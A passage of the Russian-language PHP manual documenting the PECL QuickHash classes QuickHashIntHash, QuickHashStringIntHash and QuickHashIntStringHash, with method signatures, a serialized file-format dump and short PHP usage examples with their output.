Метод пытается обновить запись новым значением. Если запись ещё не существует, то вместо этого добавляется новая запись. Возвращается информация о том, была ли запись добавлена или обновлена. Если есть дубликаты ключей, только первый найденный элемент получит обновлённое значение. Используйте константу QuickHashIntHash::CHECK_FOR_DUPES во время создания хеша, чтобы предотвратить попадание дублирующих ключей в хеш.

Список параметров

key

Ключ записи, которую нужно добавить или обновить.

value

Новое значение записи.

Возвращаемые значения

Метод возвращает 2, если запись была найдена и обновлена, 1, если запись была добавлена или 0 в случае возникновения ошибки.

Примеры

Пример #1 Пример использования QuickHashIntHash::set()

<?php
$hash = new QuickHashIntHash( 1024 );

echo "Set->Add\n";
var_dump( $hash->get( 46692 ) );
var_dump( $hash->set( 46692, 16091 ) );
var_dump( $hash->get( 46692 ) );

echo "Set->Update\n";
var_dump( $hash->set( 46692, 29906 ) );
var_dump( $hash->get( 46692 ) );
?>

Вывод приведённого примера будет похож на:

bool(false)
int(2)
int(16091)
Set->Update
int(1)
int(29906)

User Contributed Notes

There are no user contributed notes for this page.


Метод обновляет запись в хеше новым значением

  • « QuickHashIntHash::set
  • QuickHashStringIntHash »
  • PHP Manual
  • QuickHashIntHash
  • Метод обновляет запись в хеше новым значением

QuickHashIntHash::update

(PECL quickhash >= Unknown)

QuickHashIntHash::update — Метод обновляет запись в хеше новым значением

Описание

public QuickHashIntHash::update(int $key, int $value): bool

Метод обновляет запись новым значением и возвращает, была ли запись обновлена. Если есть дубликаты ключей, только первый найденный элемент получит обновлённое значение. Используйте константу QuickHashIntHash::CHECK_FOR_DUPES во время создания хеша, чтобы предотвратить попадание дублирующих ключей в хеш.

Список параметров

key

Ключ обновляемой записи.

value

Новое значение записи.

Возвращаемые значения

Метод возвращает true, если запись была найдена и обновлена и false, если запись была не была частью хеша.

Примеры

Пример #1 Пример использования QuickHashIntHash::update()

<?php
$hash = new QuickHashIntHash( 1024 );

var_dump( $hash->add( 141421, 173205 ) );
var_dump( $hash->update( 141421, 223606 ) );
var_dump( $hash->get( 141421 ) );
?>

Вывод приведённого примера будет похож на:

bool(true)
bool(true)
int(223606)

User Contributed Notes

There are no user contributed notes for this page.


Класс QuickHashStringIntHash

(Информация о версии неизвестна, возможно, только в Git)

Введение

Класс-обёртка для хеш-таблицы со строковыми ключами и значениями, являющимися целыми числами. Также реализует интерфейс ArrayAccess.

Класс реализует интерфейс Iterator, что даёт возможность перебора с помощью конструкции foreach. Порядок следования элементов не гарантируется.

Обзор классов

class QuickHashStringIntHash {
/* Константы */
const int CHECK_FOR_DUPES = 1;
const int DO_NOT_USE_ZEND_ALLOC = 2;
/* Методы */
public add(string $key, int $value): bool
public __construct(int $size, int $options = 0)
public delete(string $key): bool
public exists(string $key): bool
public get(string $key): mixed
public getSize(): int
public static loadFromFile(string $filename, int $size = 0, int $options = 0): QuickHashStringIntHash
public static loadFromString(string $contents, int $size = 0, int $options = 0): QuickHashStringIntHash
public saveToFile(string $filename): void
public saveToString(): string
public set(string $key, int $value): int
public update(string $key, int $value): bool
}

Предопределённые константы

QuickHashIntHash::CHECK_FOR_DUPES

Если включено, то добавление повторяющихся элементов в набор (с помощью методов QuickHashStringIntHash::add() или QuickHashStringIntHash::loadFromFile()) приведёт к отбрасыванию этих элементов. Эта функциональность несколько замедляет работу, так что должен использоваться только если действительно необходим.

QuickHashIntHash::DO_NOT_USE_ZEND_ALLOC

Запрещает использование встроенного в PHP менеджера памяти для внутренних структур. Если включена эта опция, то используемая память не будет учитываться настройкой memory_limit.

Содержание

  • QuickHashStringIntHash::add — Метод добавляет новую запись в хеш
  • QuickHashStringIntHash::__construct — Создаёт новый объект QuickHashStringIntHash
  • QuickHashStringIntHash::delete — Метод удаляет запись из хеша
  • QuickHashStringIntHash::exists — Метод проверяет, является ли ключ частью хеша
  • QuickHashStringIntHash::get — Метод извлекает значение из хеша по его ключу
  • QuickHashStringIntHash::getSize — Возвращает количество элементов в хеше
  • QuickHashStringIntHash::loadFromFile — Фабричный метод создаёт хеш из файла
  • QuickHashStringIntHash::loadFromString — Фабричный метод создаёт хеш из строки
  • QuickHashStringIntHash::saveToFile — Метод сохраняет хеш в памяти на диске
  • QuickHashStringIntHash::saveToString — Метод возвращает сериализованную версию хеша
  • QuickHashStringIntHash::set — Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует
  • QuickHashStringIntHash::update — Метод обновляет запись в хеше новым значением

User Contributed Notes

There are no user contributed notes for this page.


Метод добавляет новую запись в хеш

  • « QuickHashStringIntHash
  • QuickHashStringIntHash::__construct »
  • PHP Manual
  • QuickHashStringIntHash
  • Метод добавляет новую запись в хеш

QuickHashStringIntHash::add

(Информация о версии неизвестна, возможно, только в Git)

QuickHashStringIntHash::add — Метод добавляет новую запись в хеш

Описание

public QuickHashStringIntHash::add(string $key, int $value): bool

Метод добавляет новую запись в хеш и возвращает, была ли запись добавлена. По умолчанию, добавление происходит всегда, если при создании хеша не использовался флаг QuickHashStringIntHash::CHECK_FOR_DUPES.

Список параметров

key

Ключ добавляемой записи.

value

Значение добавляемой записи.

Возвращаемые значения

Метод возвращает true, если запись была добавлена и false, если запись не была добавлена.

Примеры

Пример #1 Пример использования QuickHashStringIntHash::add()

<?php
echo "без проверки дубликатов\n";
$hash = new QuickHashStringIntHash( 1024 );
var_dump( $hash );
var_dump( $hash->exists( "four" ) );
var_dump( $hash->get( "four" ) );
var_dump( $hash->add( "four", 22 ) );
var_dump( $hash->exists( "four" ) );
var_dump( $hash->get( "four" ) );
var_dump( $hash->add( "four", 12 ) );

echo "\nс проверкой дубликатов\n";
$hash = new QuickHashStringIntHash( 1024, QuickHashStringIntHash::CHECK_FOR_DUPES );
var_dump( $hash );
var_dump( $hash->exists( "four" ) );
var_dump( $hash->get( "four" ) );
var_dump( $hash->add( "four", 78 ) );
var_dump( $hash->exists( "four" ) );
var_dump( $hash->get( "four" ) );
var_dump( $hash->add( "four", 9 ) );
?>

Вывод приведённого примера будет похож на:

без проверки дубликатов
object(QuickHashStringIntHash)#1 (0) {
}
bool(false)
bool(false)
bool(true)
bool(true)
int(22)
bool(true)

с проверкой дубликатов
object(QuickHashStringIntHash)#2 (0) {
}
bool(false)
bool(false)
bool(true)
bool(true)
int(78)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект QuickHashStringIntHash

  • « QuickHashStringIntHash::add
  • QuickHashStringIntHash::delete »
  • PHP Manual
  • QuickHashStringIntHash
  • Создаёт новый объект QuickHashStringIntHash

QuickHashStringIntHash::__construct

(Информация о версии неизвестна, возможно, только в Git)

QuickHashStringIntHash::__construct — Создаёт новый объект QuickHashStringIntHash

Описание

public QuickHashStringIntHash::__construct(int $size, int $options = 0)

Конструктор создаёт новый объект QuickHashStringIntHash. Размер - это количество списков, которое нужно создать. Чем больше списков, тем меньше будет коллизий. Также поддерживаются опции.

Список параметров

size

Количество списков, которое необходимо настроить. Число, которое вы передадите, будет автоматически округлено до следующей степени числа 2. Оно также автоматически ограничивается от 64 до 4194304.

options

Вы можете передать следующие параметры: константу QuickHashStringIntHash::CHECK_FOR_DUPES, которая гарантирует, что в хеш не будут добавлены дубликаты и константу QuickHashStringIntHash::DO_NOT_USE_ZEND_ALLOC, чтобы не использовать внутренний менеджер памяти PHP.

Возвращаемые значения

Возвращает новый объект QuickHashStringIntHash.

Примеры

Пример #1 Пример использования QuickHashStringIntHash::__construct()

<?php
var_dump( new QuickHashStringIntHash( 1024 ) );
var_dump( new QuickHashStringIntHash( 1024, QuickHashStringIntHash::CHECK_FOR_DUPES ) );
?>

User Contributed Notes

There are no user contributed notes for this page.


Метод удаляет запись из хеша

  • « QuickHashStringIntHash::__construct
  • QuickHashStringIntHash::exists »
  • PHP Manual
  • QuickHashStringIntHash
  • Метод удаляет запись из хеша

QuickHashStringIntHash::delete

(Информация о версии неизвестна, возможно, только в Git)

QuickHashStringIntHash::delete — Метод удаляет запись из хеша

Описание

public QuickHashStringIntHash::delete(string $key): bool

Метод удаляет запись из хеша и возвращает, была ли эта запись удалена или нет. Соответствующие структуры памяти будут освобождены не сразу, а при освобождении самого хеша.

Элементы не могут быть удалены, если хеш используется в итераторе. Метод не выбросит исключение, а просто вернёт false как это произошло бы при любой другой ошибке удаления.

Список параметров

key

Ключ записи, которую нужно удалить.

Возвращаемые значения

Метод возвращает true, если запись была удалена и false, если запись не была удалена.

Примеры

Пример #1 Пример использования QuickHashStringIntHash::delete()

<?php
$hash = new QuickHashStringIntHash( 1024 );
var_dump( $hash->exists( 'four' ) );
var_dump( $hash->add( 'four', 5 ) );
var_dump( $hash->get( 'four' ) );
var_dump( $hash->delete( 'four' ) );
var_dump( $hash->exists( 'four' ) );
var_dump( $hash->get( 'four' ) );
var_dump( $hash->delete( 'four' ) );
?>

Вывод приведённого примера будет похож на:

bool(false)
bool(true)
int(5)
bool(true)
bool(false)
bool(false)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Метод проверяет, является ли ключ частью хеша

  • « QuickHashStringIntHash::delete
  • QuickHashStringIntHash::get »
  • PHP Manual
  • QuickHashStringIntHash
  • Метод проверяет, является ли ключ частью хеша

QuickHashStringIntHash::exists

(Информация о версии неизвестна, возможно, только в Git)

QuickHashStringIntHash::exists — Метод проверяет, является ли ключ частью хеша

Описание

public QuickHashStringIntHash::exists(string $key): bool

Метод проверяет, существует ли в хеше запись с указанным ключом.

Список параметров

key

Ключ записи для проверки её существования в хеше.

Возвращаемые значения

Метод возвращает true, если запись была найдена или false, если запись не найдена.

User Contributed Notes

There are no user contributed notes for this page.


Метод извлекает значение из хеша по его ключу

  • « QuickHashStringIntHash::exists
  • QuickHashStringIntHash::getSize »
  • PHP Manual
  • QuickHashStringIntHash
  • Метод извлекает значение из хеша по его ключу

QuickHashStringIntHash::get

(Информация о версии неизвестна, возможно, только в Git)

QuickHashStringIntHash::get — Метод извлекает значение из хеша по его ключу

Описание

public QuickHashStringIntHash::get(string $key): mixed

Метод извлекает значение из хеша по его ключу.

Список параметров

key

Ключ получаемой записи.

Возвращаемые значения

Метод возвращает значение, если ключ существует или null, если ключ не является частью хеша.

Примеры

Пример #1 Пример использования QuickHashStringIntHash::get()

<?php
$hash = new QuickHashStringIntHash( 8 );
var_dump( $hash->get( "one" ) );

var_dump( $hash->add( "two", 2 ) );
var_dump( $hash->get( "two" ) );
?>

Вывод приведённого примера будет похож на:

bool(false)
bool(true)
int(2)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество элементов в хеше

  • « QuickHashStringIntHash::get
  • QuickHashStringIntHash::loadFromFile »
  • PHP Manual
  • QuickHashStringIntHash
  • Возвращает количество элементов в хеше

QuickHashStringIntHash::getSize

(Информация о версии неизвестна, возможно, только в Git)

QuickHashStringIntHash::getSize — Возвращает количество элементов в хеше

Описание

public QuickHashStringIntHash::getSize(): int

Возвращает количество элементов в хеше.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает количество элементов в хеше.

Примеры

Пример #1 Пример использования QuickHashStringIntHash::getSize()

<?php
$hash = new QuickHashStringIntHash( 8 );
var_dump( $hash->add( "two", 2 ) );
var_dump( $hash->add( "three", 5 ) );
var_dump( $hash->getSize() );
?>

Вывод приведённого примера будет похож на:

bool(true)
bool(true)
int(2)

User Contributed Notes

There are no user contributed notes for this page.


Фабричный метод создаёт хеш из файла

  • « QuickHashStringIntHash::getSize
  • QuickHashStringIntHash::loadFromString »
  • PHP Manual
  • QuickHashStringIntHash
  • Фабричный метод создаёт хеш из файла

QuickHashStringIntHash::loadFromFile

(Информация о версии неизвестна, возможно, только в Git)

QuickHashStringIntHash::loadFromFile — Фабричный метод создаёт хеш из файла

Описание

public static QuickHashStringIntHash::loadFromFile(string $filename, int $size = 0, int $options = 0): QuickHashStringIntHash

Этот фабричный метод создаёт новый хеш из файла определения на диске. Формат файла состоит из сигнатуры 'QH\0x21\0', количества элементов в виде 32-битного целого числа со знаком в системном порядке байтов, 32-битного целого числа без знака, содержащего количество данных элемента в символах. Данные этого элемента содержат все строки. Далее следует другое32-битное целое число со знаком, содержащее количество списков. После заголовка и строк следуют элементы. Они упорядочены по списку, так что ключи не нужно хешировать, чтобы восстановить хеш. Для каждого списка хранится следующая информация (все как 32-битные целые числа): индекс списка, количество элементов в этом списке, а затем парами по два 32-битных целых числа без знака - элементы, где первый - это индекс в строковом списке, содержащем ключи, а второй - значение. Примером может быть:

Пример #1 Формат файла QuickHash StringIntHash

00000000  51 48 21 00 02 00 00 00  09 00 00 00 40 00 00 00  |QH!.........@...|
00000010  4f 4e 45 00 4e 49 4e 45  00 07 00 00 00 01 00 00  |ONE.NINE........|
00000020  00 00 00 00 00 01 00 00  00 2f 00 00 00 01 00 00  |........./......|
00000030  00 04 00 00 00 03 00 00  00                       |.........|
00000039

Пример #2 Формат файла QuickHash IntHash

header signature ('QH'; key type: 2; value type: 1; filler: \0x00)
00000000  51 48 21 00

number of elements:
00000004  02 00 00 00

length of string values (9 characters):
00000008  09 00 00 00

number of hash bucket lists (this is configured for hashes as argument to the
constructor normally, 64 in this case):
0000000C  40 00 00 00

string values:
00000010  4f 4e 45 00 4e 49 4e 45  00

bucket lists:
  bucket list 1 (with key 7, and 1 element):
    header:
    07 00 00 00 01 00 00 00
    elements (key index: 0 ('ONE'), value = 0):
    00 00 00 00 01 00 00 00
  bucket list 2 (with key 0x2f, and 1 element):
    header:
    2f 00 00 00 01 00 00 00
    elements (key index: 4 ('NINE'), value = 3):
    04 00 00 00 03 00 00 00

Список параметров

filename

Имя файла, из которого нужно считать хеш.

size

Количество списков, которое необходимо настроить. Переданное число будет автоматически округлено до следующей степени числа 2. Оно также автоматически ограничивается от 4 до 4194304.

options

Те же параметры, которые принимает конструктор класса; за исключением того, что игнорируется параметр size. Размер считывается из формата файла (в отличие от классов QuickHashIntHash и QuickHashIntStringHash, где он автоматически вычисляется из количества записей в хеше).

Возвращаемые значения

Возвращает новый объект QuickHashStringIntHash.

Примеры

Пример #3 Пример использования QuickHashStringIntHash::loadFromFile()

<?php
$file = dirname( __FILE__ ) . "/simple.hash.string";
$hash = QuickHashStringIntHash::loadFromFile(
$file,
QuickHashStringIntHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
$i = 48712 + $key * 1631;
$k = base_convert( $i, 10, 36 );
echo $k, ' => ', $hash->get( $k ), "\n";
}
?>

Вывод приведённого примера будет похож на:

11l4 => 48712
12uf => 50343
143q => 51974
15d1 => 53605
16mc => 55236
17vn => 56867
194y => 58498
1ae9 => 60129
1bnk => 61760
1cwv => 63391
1e66 => 65022
1ffh => 66653
1gos => 68284
1hy3 => 69915
1j7e => 71546
1kgp => 73177

User Contributed Notes

There are no user contributed notes for this page.


Фабричный метод создаёт хеш из строки

  • « QuickHashStringIntHash::loadFromFile
  • QuickHashStringIntHash::saveToFile »
  • PHP Manual
  • QuickHashStringIntHash
  • Фабричный метод создаёт хеш из строки

QuickHashStringIntHash::loadFromString

(Информация о версии неизвестна, возможно, только в Git)

QuickHashStringIntHash::loadFromString — Фабричный метод создаёт хеш из строки

Описание

public static QuickHashStringIntHash::loadFromString(string $contents, int $size = 0, int $options = 0): QuickHashStringIntHash

Этот фабричный метод создаёт новый хеш из определения в строке. Формат такой же, как и в QuickHashStringIntHash::loadFromFile().

Список параметров

contents

Строка, содержащая сериализованный формат хеша.

size

Количество списков, которое необходимо настроить. Передаваемое число будет автоматически округлено до следующей степени числа два. Оно также автоматически ограничивается от 4 до 4194304.

options

Те же параметры, которые принимает конструктор класса; за исключением того, что игнорируется параметр size. Он автоматически вычисляется как количество записей в хеше, округляется до ближайшей степени числа 2 с максимальным ограничением 4194304.

Возвращаемые значения

Возвращает новый объект QuickHashStringIntHash.

Примеры

Пример #1 Пример использования QuickHashStringIntHash::loadFromString()

<?php
$contents = file_get_contents( dirname( __FILE__ ) . "/simple.hash.string" );
$hash = QuickHashStringIntHash::loadFromString(
$contents,
QuickHashStringIntHash::DO_NOT_USE_ZEND_ALLOC
);
foreach( range( 0, 0x0f ) as $key )
{
$i = 48712 + $key * 1631;
$k = base_convert( $i, 10, 36 );
echo $k, ' => ', $hash->get( $k ), "\n";
}
?>

Вывод приведённого примера будет похож на:

11l4 => 48712
12uf => 50343
143q => 51974
15d1 => 53605
16mc => 55236
17vn => 56867
194y => 58498
1ae9 => 60129
1bnk => 61760
1cwv => 63391
1e66 => 65022
1ffh => 66653
1gos => 68284
1hy3 => 69915
1j7e => 71546
1kgp => 73177

User Contributed Notes

There are no user contributed notes for this page.


Метод сохраняет хеш в памяти на диске

  • « QuickHashStringIntHash::loadFromString
  • QuickHashStringIntHash::saveToString »
  • PHP Manual
  • QuickHashStringIntHash
  • Метод сохраняет хеш в памяти на диске

QuickHashStringIntHash::saveToFile

(Информация о версии неизвестна, возможно, только в Git)

QuickHashStringIntHash::saveToFile — Метод сохраняет хеш в памяти на диске

Описание

public QuickHashStringIntHash::saveToFile(string $filename): void

Метод сохраняет существующий хеш в файл на диске, в том же формате, который может быть прочитан методом QuickHashStringIntHash::loadFromFile().

Список параметров

filename

Имя файла, в котором будет храниться хеш.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования QuickHashStringIntHash::saveToFile()

<?php
$hash = new QuickHashStringIntHash( 1024 );
var_dump( $hash->add( "сорок три", 42 ) );
var_dump( $hash->add( "пятьдесят два", 52 ) );

$hash->saveToFile( '/tmp/test.hash.string' );
?>

User Contributed Notes

There are no user contributed notes for this page.


Метод возвращает сериализованную версию хеша

  • « QuickHashStringIntHash::saveToFile
  • QuickHashStringIntHash::set »
  • PHP Manual
  • QuickHashStringIntHash
  • Метод возвращает сериализованную версию хеша

QuickHashStringIntHash::saveToString

(Информация о версии неизвестна, возможно, только в Git)

QuickHashStringIntHash::saveToString — Метод возвращает сериализованную версию хеша

Описание

public QuickHashStringIntHash::saveToString(): string

Метод возвращает сериализованную версию хеша в том же формате, который может быть прочитан методом QuickHashStringIntHash::loadFromString().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает сериализованную версию хеша в том же формате, который может быть прочитан методом QuickHashStringIntHash::loadFromString().

Примеры

Пример #1 Пример использования QuickHashStringIntHash::saveToString()

<?php
$hash = new QuickHashStringIntHash( 1024 );
var_dump( $hash->add( "сорок три", 42 ) );
var_dump( $hash->add( "пятьдесят два", 52 ) );

var_dump( $hash->saveToString() );
?>

User Contributed Notes

There are no user contributed notes for this page.


Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует

  • « QuickHashStringIntHash::saveToString
  • QuickHashStringIntHash::update »
  • PHP Manual
  • QuickHashStringIntHash
  • Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует

QuickHashStringIntHash::set

(Информация о версии неизвестна, возможно, только в Git)

QuickHashStringIntHash::set — Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует

Описание

public QuickHashStringIntHash::set(string $key, int $value): int

Метод пытается обновить запись новым значением. Если запись ещё не существует, то вместо этого добавляется новая запись. Возвращается информация о том, была ли запись добавлена или обновлена. Если есть дубликаты ключей, только первый найденный элемент получит обновлённое значение. Используйте константу QuickHashStringIntHash::CHECK_FOR_DUPES во время создания хеша, чтобы предотвратить попадание дублирующих ключей в хеш.

Список параметров

key

Ключ записи, которую нужно добавить или обновить.

value

Значение записи. Если передаётся нестроковое значение, оно будет автоматически преобразовано в строку, если это возможно.

Возвращаемые значения

Метод возвращает 2, если запись была найдена и обновлена, 1, если запись была добавлена или 0 в случае возникновения ошибки.

Примеры

Пример #1 Пример использования QuickHashStringIntHash::set()

<?php
$hash = new QuickHashStringIntHash( 1024 );

echo "Set->Add\n";
var_dump( $hash->get( "сорок шесть тысяч шестьсот девяносто два" ) );
var_dump( $hash->set( "сорок шесть тысяч шестьсот девяносто два", 16091 ) );
var_dump( $hash->get( "сорок шесть тысяч шестьсот девяносто два" ) );

echo "Set->Update\n";
var_dump( $hash->set( "сорок шесть тысяч шестьсот девяносто два", 29906 ) );
var_dump( $hash->get( "сорок шесть тысяч шестьсот девяносто два" ) );
?>

Вывод приведённого примера будет похож на:

Set->Add
bool(false)
int(2)
int(16091)
Set->Update
int(1)
int(29906)

User Contributed Notes

There are no user contributed notes for this page.


Метод обновляет запись в хеше новым значением

  • « QuickHashStringIntHash::set
  • QuickHashIntStringHash »
  • PHP Manual
  • QuickHashStringIntHash
  • Метод обновляет запись в хеше новым значением

QuickHashStringIntHash::update

(Информация о версии неизвестна, возможно, только в Git)

QuickHashStringIntHash::update — Метод обновляет запись в хеше новым значением

Описание

public QuickHashStringIntHash::update(string $key, int $value): bool

Метод обновляет запись новым значением и возвращает, была ли запись обновлена. Если есть дубликаты ключей, только первый найденный элемент получит обновлённое значение. Используйте константу QuickHashStringIntHash::CHECK_FOR_DUPES во время создания хеша, чтобы предотвратить попадание дублирующих ключей в хеш.

Список параметров

key

Ключ обновляемой записи.

value

Новое значение записи. Если передаётся нестроковое значение, оно будет автоматически преобразовано в строку, если это возможно.

Возвращаемые значения

Метод возвращает true, если запись была найдена и обновлена и false, если запись была не была частью хеша.

Примеры

Пример #1 Пример использования QuickHashStringIntHash::update()

<?php
$hash = new QuickHashStringIntHash( 1024 );

$hash->add( 'шесть', 314159265 );
$hash->add( "множество", 314159265 );

echo $hash->get( 'шесть' ), "\n";
echo $hash->get( 'множество' ), "\n";

var_dump( $hash->update( 'множество', 314159266 ) );
var_dump( $hash->update( "множество плюс один", 314159999 ) );

echo $hash->get( 'шесть' ), "\n";
echo $hash->get( 'множество' ), "\n";
?>

Вывод приведённого примера будет похож на:

314159265
314159265
bool(true)
bool(false)
314159265
314159266

User Contributed Notes

There are no user contributed notes for this page.


Класс QuickHashIntStringHash

(PECL quickhash >= Unknown)

Введение

Класс-обёртка для хеш-таблицы с целочисленными ключами и значениями, являющимися строками. Также реализует интерфейс ArrayAccess.

Класс реализует интерфейс Iterator, что даёт возможность перебора с помощью конструкции foreach. Порядок следования элементов не гарантируется.

Обзор классов

class QuickHashIntStringHash {
/* Константы */
const int CHECK_FOR_DUPES = 1;
const int DO_NOT_USE_ZEND_ALLOC = 2;
const int HASHER_NO_HASH = 256;
const int HASHER_JENKINS1 = 512;
const int HASHER_JENKINS2 = 1024;
/* Методы */
public add(int $key, string $value): bool
public __construct(int $size, int $options = 0)
public delete(int $key): bool
public exists(int $key): bool
public get(int $key): mixed
public getSize(): int
public static loadFromFile(string $filename, int $size = 0, int $options = 0): QuickHashIntStringHash
public static loadFromString(string $contents, int $size = 0, int $options = 0): QuickHashIntStringHash
public saveToFile(string $filename): void
public saveToString(): string
public set(int $key, string $value): int
public update(int $key, string $value): bool
}

Предопределённые константы

QuickHashIntHash::CHECK_FOR_DUPES

Если включено, то добавление повторяющихся элементов в набор (с помощью методов QuickHashIntStringHash::add() или QuickHashIntStringHash::loadFromFile()) приведёт к отбрасыванию этих элементов. Эта функциональность несколько замедляет работу, так что должен использоваться только если действительно необходим.

QuickHashIntHash::DO_NOT_USE_ZEND_ALLOC

Запрещает использование встроенного в PHP менеджера памяти для внутренних структур. Если включена эта опция, то используемая память не будет учитываться настройкой memory_limit.

QuickHashIntHash::HASHER_NO_HASH

Указывает, что не нужно использовать функцию хеширования, а вместо неё, для поиска индекса в цепочке, использовать модуль. Это не быстрее обычного хеширования и порождает больше коллизий.

QuickHashIntHash::HASHER_JENKINS1

Хеширующая функция по умолчанию.

QuickHashIntHash::HASHER_JENKINS2

Другой хеширующий алгоритм.

Содержание

  • QuickHashIntStringHash::add — Метод добавляет новую запись в хеш
  • QuickHashIntStringHash::__construct — Создаёт новый объект QuickHashIntStringHash
  • QuickHashIntStringHash::delete — Метод удаляет запись из хеша
  • QuickHashIntStringHash::exists — Метод проверяет, является ли ключ частью хеша
  • QuickHashIntStringHash::get — Метод извлекает значение из хеша по его ключу
  • QuickHashIntStringHash::getSize — Возвращает количество элементов в хеше
  • QuickHashIntStringHash::loadFromFile — Фабричный метод создаёт хеш из файла
  • QuickHashIntStringHash::loadFromString — Фабричный метод создаёт хеш из строки
  • QuickHashIntStringHash::saveToFile — Метод сохраняет хеш в памяти на диске
  • QuickHashIntStringHash::saveToString — Метод возвращает сериализованную версию хеша
  • QuickHashIntStringHash::set — Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует
  • QuickHashIntStringHash::update — Метод обновляет запись в хеше новым значением

User Contributed Notes

There are no user contributed notes for this page.


Метод добавляет новую запись в хеш

  • « QuickHashIntStringHash
  • QuickHashIntStringHash::__construct »
  • PHP Manual
  • QuickHashIntStringHash
  • Метод добавляет новую запись в хеш

QuickHashIntStringHash::add

(PECL quickhash >= Unknown)

QuickHashIntStringHash::add — Метод добавляет новую запись в хеш

Описание

public QuickHashIntStringHash::add(int $key, string $value): bool

Метод добавляет новую запись в набор и возвращает, была ли запись добавлена. По умолчанию, добавление происходит всегда, если при создании хеша не использовался флаг QuickHashIntStringHash::CHECK_FOR_DUPES.

Список параметров

key

Ключ добавляемой записи.

value

Значение добавляемой записи. Если передаётся нестроковое значение, оно будет автоматически преобразовано в строку, если это возможно.

Возвращаемые значения

Метод возвращает true, если запись была добавлена и false, если запись не была добавлена.

Примеры

Пример #1 Пример использования QuickHashIntStringHash::add()

<?php
echo "без проверки дубликатов\n";
$hash = new QuickHashIntStringHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, "twenty two" ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, "twelve" ) );

echo "\nс проверкой дубликатов\n";
$hash = new QuickHashIntStringHash( 1024, QuickHashIntStringHash::CHECK_FOR_DUPES );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, "seventy eight" ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->get( 4 ) );
var_dump( $hash->add( 4, "nine" ) );
?>

Вывод приведённого примера будет похож на:

без проверки дубликатов
bool(false)
bool(false)
bool(true)
bool(true)
string(10) "twenty two"
bool(true)

с проверкой дубликатов
bool(false)
bool(false)
bool(true)
bool(true)
string(13) "seventy eight"
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект QuickHashIntStringHash

  • « QuickHashIntStringHash::add
  • QuickHashIntStringHash::delete »
  • PHP Manual
  • QuickHashIntStringHash
  • Создаёт новый объект QuickHashIntStringHash

QuickHashIntStringHash::__construct

(PECL quickhash >= Unknown)

QuickHashIntStringHash::__construct — Создаёт новый объект QuickHashIntStringHash

Описание

public QuickHashIntStringHash::__construct(int $size, int $options = 0)

Конструктор создаёт новый объект QuickHashIntStringHash. Размер - это количество списков, которые нужно создать. Чем больше списков, тем меньше будет коллизий. Также поддерживаются опции.

Список параметров

size

Количество списков, которое необходимо настроить. Число, которое вы передадите, будет автоматически округлено до следующей степени числа 2. Оно также автоматически ограничивается от 64 до 4194304.

options

Вы можете использовать следующие варианты: QuickHashIntStringHash::CHECK_FOR_DUPES, что гарантирует, что в хеш не будут добавлены дублирующие записи; QuickHashIntStringHash::DO_NOT_USE_ZEND_ALLOC чтобы не использовать внутренний менеджер памяти PHP, а также одну из констант: QuickHashIntStringHash::HASHER_NO_HASH, QuickHashIntStringHash::HASHER_JENKINS1 или QuickHashIntStringHash::HASHER_JENKINS2. Последние три параметра определяют, какой алгоритм хеширования использовать. Все параметры можно комбинировать с помощью побитовых операторов.

Возвращаемые значения

Возвращает новый объект QuickHashIntStringHash.

Примеры

Пример #1 Пример использования QuickHashIntStringHash::__construct()

<?php
var_dump( new QuickHashIntStringHash( 1024 ) );
var_dump( new QuickHashIntStringHash( 1024, QuickHashIntStringHash::CHECK_FOR_DUPES ) );
var_dump(
new QuickHashIntStringHash(
1024,
QuickHashIntStringHash::DO_NOT_USE_ZEND_ALLOC | QuickHashIntStringHash::HASHER_JENKINS2
)
);
?>

User Contributed Notes

There are no user contributed notes for this page.


Метод удаляет запись из хеша

  • « QuickHashIntStringHash::__construct
  • QuickHashIntStringHash::exists »
  • PHP Manual
  • QuickHashIntStringHash
  • Метод удаляет запись из хеша

QuickHashIntStringHash::delete

(PECL quickhash >= Unknown)

QuickHashIntStringHash::delete — Метод удаляет запись из хеша

Описание

public QuickHashIntStringHash::delete(int $key): bool

Метод удаляет запись из хеша и возвращает, была ли эта запись удалена или нет. Соответствующие структуры памяти будут освобождены не сразу, а при освобождении самого хеша.

Элементы не могут быть удалены, если хеш используется в итераторе. Метод не выбросит исключение, а просто вернёт false, как это произошло бы при любой другой ошибке удаления.

Список параметров

key

Ключ удаляемой записи.

Возвращаемые значения

Метод возвращает true, если запись была удалена и false, если запись не была удалена.

Примеры

Пример #1 Пример использования QuickHashIntStringHash::delete()

<?php
$hash = new QuickHashIntStringHash( 1024 );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->add( 4, "five" ) );
var_dump( $hash->delete( 4 ) );
var_dump( $hash->exists( 4 ) );
var_dump( $hash->delete( 4 ) );
?>

Вывод приведённого примера будет похож на:

bool(false)
bool(true)
bool(true)
bool(false)
bool(false)

User Contributed Notes

There are no user contributed notes for this page.


Метод проверяет, является ли ключ частью хеша

  • « QuickHashIntStringHash::delete
  • QuickHashIntStringHash::get »
  • PHP Manual
  • QuickHashIntStringHash
  • Метод проверяет, является ли ключ частью хеша

QuickHashIntStringHash::exists

(PECL quickhash >= Unknown)

QuickHashIntStringHash::exists — Метод проверяет, является ли ключ частью хеша

Описание

public QuickHashIntStringHash::exists(int $key): bool

Метод проверяет, существует ли в хеше запись с указанным ключом.

Список параметров

key

Ключ записи для проверки её существования в хеше.

Возвращаемые значения

Метод возвращает true, если запись была найдена или false, если запись не найдена.

User Contributed Notes

There are no user contributed notes for this page.


